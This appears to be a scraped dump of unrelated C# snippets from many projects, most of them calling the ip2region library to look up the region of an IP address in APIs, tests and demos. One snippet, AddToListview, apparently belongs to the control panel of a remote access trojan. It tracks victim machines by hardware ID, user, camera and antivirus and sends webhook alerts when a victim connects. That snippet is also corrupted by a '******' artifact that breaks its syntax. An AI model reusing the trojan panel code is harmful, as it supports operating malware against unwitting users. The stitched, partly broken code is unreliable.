public async Task <BlogResponse <List <string> > > Ip2RegionAsync(string ip) { var response = new BlogResponse <List <string> >(); if (ip.IsNullOrEmpty()) { ip = _httpContextAccessor.HttpContext.Request.Headers["X-Real-IP"].FirstOrDefault() ?? _httpContextAccessor.HttpContext.Request.Headers["X-Forwarded-For"].FirstOrDefault() ?? _httpContextAccessor.HttpContext.Connection.RemoteIpAddress.MapToIPv4().ToString(); } else { if (!ip.IsIp()) { response.IsFailed("The ip address error."); return(response); } } var path = Path.Combine(Directory.GetCurrentDirectory(), "Resources/ip2region.db"); using var _search = new DbSearcher(path); var block = await _search.BinarySearchAsync(ip); var region = block.Region.Split("|").Distinct().Where(x => x != "0").ToList(); region.AddFirst(ip); response.Result = region; return(response); }
public IpLightweightSearcher() { Assembly assembly = Assembly.GetExecutingAssembly(); var dbResourceStream = assembly.GetManifestResourceStream($"{assembly.GetName().Name}.ip2region.db"); _search = new DbSearcher(dbResourceStream); }
/// <summary> /// 获取IP地区 /// </summary> /// <param name="ip"></param> /// <returns>中国|0|香港|香港|香港宽频</returns> public static string GetRegion(string ip, string path = "ip2region.db") { using (DbSearcher searchIp = new DbSearcher(path)) { var region = searchIp.MemorySearch(ip); return(region.Region); } }
static void Main(string[] args) { using (var _search = new DbSearcher(Environment.CurrentDirectory + @"\DB\ip2region.db")) { Console.WriteLine(_search.MemorySearch("183.192.62.65").Region); Console.Read(); } }
/// <summary> /// 获取IP地区 /// </summary> /// <param name="ip"></param> /// <returns>中国|0|香港|香港|香港宽频</returns> public static async Task <string> GetRegionAsync(string ip, string path = "ip2region.db") { using (DbSearcher searchIp = new DbSearcher(path)) { var region = await searchIp.MemorySearchAsync(ip); return(region.Region); } }
public void Init() { if (String.IsNullOrEmpty(_dBFilePath)) { _search = new DbSearcher(AppContext.BaseDirectory + @"\DB\ip2region.db"); } else { _search = new DbSearcher(_dBFilePath); } }
public Test() { _DbPath = @"D:\Project\IP2Region.Core\IP2Region.Core\ip2region.db"; _MemorySearcher = new MemorySearcher(_DbPath); _FileSearcher = new FileSearcher(_DbPath); _DbSearcher = new DbSearcher(_DbPath); _IPArray = new uint[IPCount]; Random random = new Random(); for (int i = 0; i < _IPArray.Length; i++) { _IPArray[i] = (uint)random.Next(int.MinValue, int.MaxValue); } }
/// <summary> /// 防火墙拦截日志 /// </summary> /// <param name="s"></param> public static void InterceptLog(IpIntercepter s) { RedisHelper.IncrBy("interceptCount"); var result = s.IP.GetPhysicsAddressInfo().Result; if (result?.Status == 0) { s.Address = result.AddressResult.FormattedAddress; } else { using var searcher = new DbSearcher(Path.Combine(AppContext.BaseDirectory + "App_Data", "ip2region.db")); s.Address = searcher.MemorySearch(s.IP).Region; } RedisHelper.LPush("intercept", s); }
public IpLightweightSearcher() { /*Assembly assembly = Assembly.GetExecutingAssembly(); * var dbResourceStream = assembly.GetManifestResourceStream($"{assembly.GetName().Name}.ip2region.db"); * _search = new DbSearcher(dbResourceStream);*/ #if NETSTANDARD2_0 var dbPath = Path.Combine(AppContext.BaseDirectory, "ip2region.db"); #else var dbPath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "ip2region.db"); #endif if (!File.Exists(dbPath)) { throw new IpToolException($"IPTools.China initialize failed. Can not find database file from {dbPath}. Please download the file to your application root directory, then set it can be copied to the output directory. Url: https://github.com/stulzq/IPTools/raw/master/db/ip2region.db"); } _search = new DbSearcher(dbPath); }
public Object GetInfo() { var ico = new IcoCore(dc).GetIcoStat(); DbSearcher dbSearcher = new DbSearcher(new DbConfig { }, $"{Database.ContentRootPath}{Path.DirectorySeparatorChar}App_Data{Path.DirectorySeparatorChar}ip2region.db"); var ipRegion = dbSearcher.BtreeSearch(Request.Host.Host); return(new { Sold = (ico.TotalSupply - ico.AvailableSupply).ToString("N0"), Available = ico.AvailableSupply.ToString("N0"), Total = ico.TotalSupply.ToString("N0"), Percent = (ico.TotalSupply - ico.AvailableSupply) / ico.TotalSupply * 100 + "%", StartDate = ico.StartDate, IpRegion = ipRegion.GetRegion() }); }
public IActionResult Get() { string ipv4 = _accessor.HttpContext.Connection.RemoteIpAddress.ToString(); if (ipv4 == "::1") { ipv4 = "127.0.0.1"; } IpSearchResult result = new IpSearchResult(); string dbPath = (_hostingEnvironment.ContentRootPath + @"\DB\ip2region.db").AutoPathConvert(); using (var _search = new DbSearcher(dbPath)) { DataBlock db = _search.MemorySearch(ipv4); result.Ip = ipv4; result.Local = db.Region; result.Time = TimeUtil.Timestamp(); } return(new JsonResult(result)); }
public async Task <Response <string> > Ip2Region([RegularExpression(@"\d{0,3}\.\d{0,3}\.\d{0,3}\.\d{0,3}", ErrorMessage = "ip格式有误")] string ip) { var response = new Response <string>(); if (string.IsNullOrEmpty(ip)) { ip = HttpContext.Request.Headers["X-Forwarded-For"].FirstOrDefault(); if (string.IsNullOrEmpty(ip)) { ip = Request.HttpContext.Connection.RemoteIpAddress.MapToIPv4().ToString(); } } var path = Path.Combine(Directory.GetCurrentDirectory(), "Resources/ip2region.db"); using var _search = new DbSearcher(path); var result = (await _search.BinarySearchAsync(ip)).Region; response.Result = result; return(response); }
public void TestInvalidIP() { using (var _dbSearcher = new DbSearcher("../../../../../data/ip2region.db")) { var invalidIps = new string[] { "256.255.1.1", "-1.0.0.0", "192.168.4", "x.y.z" }; var counter = 0; foreach (var item in invalidIps) { try { _dbSearcher.MemorySearch(item); } catch (IPInValidException) { counter++; } } Assert.AreEqual(counter, 4); } }
static void Main(string[] args) { DbSearcher dbSearcher = new DbSearcher(new DbConfig { }, AppContext.BaseDirectory + @"/DBFile/ip2region.db"); string ipAddress = ""; DataBlock result = null, result2 = null, result3 = null; Console.WriteLine("请输入IP地址:"); ipAddress = Console.ReadLine(); Stopwatch sw = new Stopwatch(); do { sw.Start(); try { result = dbSearcher.BtreeSearch(ipAddress); sw.Stop(); Console.WriteLine("[btree]你的IP所属区域为:" + result.GetRegion() + ";耗时:" + sw.Elapsed.TotalMilliseconds + "ms"); sw.Start(); result2 = dbSearcher.BinarySearch(ipAddress); sw.Stop(); Console.WriteLine("[binarySearch]你的IP所属区域为:" + result2.GetRegion() + ";耗时:" + sw.Elapsed.TotalMilliseconds + "ms"); sw.Start(); result3 = dbSearcher.MemorySearch(ipAddress); sw.Stop(); Console.WriteLine("[MemorySearch]你的IP所属区域为:" + result3.GetRegion() + ";耗时:" + sw.Elapsed.TotalMilliseconds + "ms"); Console.WriteLine("请输入IP地址:"); } catch (Exception ex) { Console.WriteLine(ex.Message); sw.Stop(); } //Console.WriteLine("结束请输入bye"); } while ((ipAddress = Console.ReadLine()) != "bye"); }
public static string GetIpLocation(string ipAddress) { var ipLocation = string.Empty; try { if (!IsInnerIP(ipAddress)) { if (string.IsNullOrEmpty(ipAddress) || ipAddress.Length < 6) { return(string.Empty); } using (var ipSearch = new DbSearcher(Path.Combine(Environment.CurrentDirectory, "DB", "ip2region.db"))) { ipLocation = ipSearch.MemorySearch(ipAddress).Region; } if (string.IsNullOrEmpty(ipLocation)) { ipLocation = GetIpLocationFromIpIp(ipAddress); } if (string.IsNullOrEmpty(ipLocation)) { ipLocation = GetIpLocationFromPCOnline(ipAddress); } } } catch (Exception ex) { LogHelper.Error(ex); } return(ipLocation); }
public void Init() { _dbSearcher = new DbSearcher("../../../../../data/ip2region.db"); }
public void AddToListview(Clients client, MsgPack unpack_msgpack) { try { lock (Settings.LockBlocked) { try { if (Settings.Blocked.Count > 0) { if (Settings.Blocked.Contains(unpack_msgpack.ForcePathObject("HWID").AsString)) { client.Disconnected(); return; } else if (Settings.Blocked.Contains(client.Ip)) { client.Disconnected(); return; } } } catch { } } client.Admin = false; if (unpack_msgpack.ForcePathObject("Admin").AsString.ToLower() != "user") { client.Admin = true; } client.LV = new ListViewItem { Tag = client, Text = string.Format("{0}:{1}", client.Ip, client.TcpClient.LocalEndPoint.ToString().Split(':')[1]), }; string[] ipinf; string address = ""; try { if (TimeZoneInfo.Local.Id == "China Standard Time") { using (var _search = new DbSearcher(Environment.CurrentDirectory + @"\Plugins\ip2region.db")) { string temp = _search.MemorySearch(client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]).Region; for (int i = 0; i < 5; i++) { if (i == 1) { continue; } if (temp.Split('|')[i] != "" || temp.Split('|')[i] != " ") { address = address + temp.Split('|')[i] + " "; } } } client.LV.SubItems.Add(address); } else { ipinf = Program.form1.cGeoMain.GetIpInf(client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]).Split(':'); client.LV.SubItems.Add(ipinf[1]); } } catch { client.LV.SubItems.Add("Unknown"); } client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Group").AsString); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Camera").AsString); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString); try { client.LV.SubItems.Add(Convert.ToDateTime(unpack_msgpack.ForcePathObject("Install_ed").AsString).ToLocalTime().ToString()); } catch { try { client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Install_ed").AsString); } catch { client.LV.SubItems.Add("??"); } } client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Admin").AsString); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Anti_virus").AsString); client.LV.SubItems.Add("0000 MS"); client.LV.SubItems.Add("..."); client.LV.ToolTipText = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine; client.LV.ToolTipText += "[Paste_bin] " + unpack_msgpack.ForcePathObject("Paste_bin").AsString; client.ID = unpack_msgpack.ForcePathObject("HWID").AsString; client.LV.UseItemStyleForSubItems = false; client.LastPing = DateTime.Now; Program.form1.Invoke((MethodInvoker)(() => { lock (Settings.LockListviewClients) { Program.form1.listView1.Items.Add(client.LV); Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); Program.form1.lv_act.Width = 500; } if (Properties.Settings.Default.Notification == true) { Program.form1.notifyIcon1.BalloonTipText = $@"Connected {client.Ip} : {client.TcpClient.LocalEndPoint.ToString().Split(':')[1]}"; Program.form1.notifyIcon1.ShowBalloonTip(100); if (Properties.Settings.Default.DingDing == true && Properties.Settings.Default.WebHook != null && Properties.Settings.Default.Secret != null) { try { string content = $"Client {client.Ip} connected" + "\n" + "Group:" + unpack_msgpack.ForcePathObject("Group").AsString + "\n" + "User:"******"User").AsString + "\n" + "OS:" + unpack_msgpack.ForcePathObject("OS").AsString + "\n" + "User:"******"Admin").AsString; DingDing.Send(Properties.Settings.Default.WebHook, Properties.Settings.Default.Secret, content); } catch (Exception ex) { MessageBox.Show(ex.Message); } } } new HandleLogs().Addmsg($"Client {client.Ip} connected", Color.Green); TimeZoneInfo local = TimeZoneInfo.Local; if (local.Id == "China Standard Time" && Properties.Settings.Default.Notification == true) { SoundPlayer sp = new SoundPlayer(Server.Properties.Resources.online); sp.Load(); sp.Play(); } })); } catch { } }
public SearchTest() { _search = new DbSearcher(Environment.CurrentDirectory + @"\DB\ip2region.db"); }
public void TestDbMakerConfigException() { using (var _dbSearcher = new DbSearcher(new DbConfig(255), "../../../../../data/ip2region.db")) { } }
public static void Init(TestContext context) { _dbSearcher = new DbSearcher("../../../../../data/ip2region.db"); }